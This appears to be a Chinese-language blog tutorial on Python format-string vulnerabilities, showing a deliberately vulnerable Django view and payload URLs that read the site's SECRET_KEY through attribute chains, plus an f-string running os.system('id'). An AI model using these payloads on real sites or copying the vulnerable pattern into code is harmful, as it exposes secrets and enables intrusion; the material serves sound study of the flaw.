python字符串格式化漏洞利用

python字符串格式

python字符串的格式化输出有多种写法:

1
2
3
4
5
"hello %s , I'm %s" % ('Alice','Bob')
"hello %(sname)s , I'm %(cname)s" % {'sname':'Alice','cname':'Bob'}
"hello {}".format('Tom')
"hello {cname}".format(cname='Tom')

举一些例子:

1
2
3
4
5
6
7
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值
"{:<30}".format('left aligned') # 左对齐并占位30个字符
'{:^30}'.format('centered') # 居中
'{:*^30}'.format('centered') # 用*填充

更多具体使用方式的可以参照python手册

字符串格式化漏洞

如果我们控制了格式化输出字符串内容会有什么危害呢?我们发现{name}这个东西为什么那么熟悉,其实是因为他和模板的格式一致的,那么我们自然而然联想到SSTI,SSTI的其他内容可以参考这里。以Django为例:

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

很明显,如果我email参数的值是:

1
{user.passwd}

实际上就是输出了request.user.password 如果存在这个内容,就会输出密码值,是非常危险的一件事情。

漏洞利用

如果我们想进一步利用这个漏洞,应该怎么做呢?假设能够获取的对象只有request.user,如何去获取django的配置项等敏感信息。

Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件

利用这一点和SSTI的方式,找到adminmodel,再通过这个model获取settings对象,进而获得敏感信息。

类似的payload如下:

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

f修饰符与任意代码执行

PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码

举几个简单的例子:

1
2
3
4
5
6
7
8
>>> f"{__import__('os').system('id')}"
uid=501(xiaokunhuang) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
>>> f"{1+2}"
'3'
>>> f"hello {'ali'+'ce'}"
'hello alice'

有一点像eval函数,但是f字符串中是自动执行的。

但有一个问题就是python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。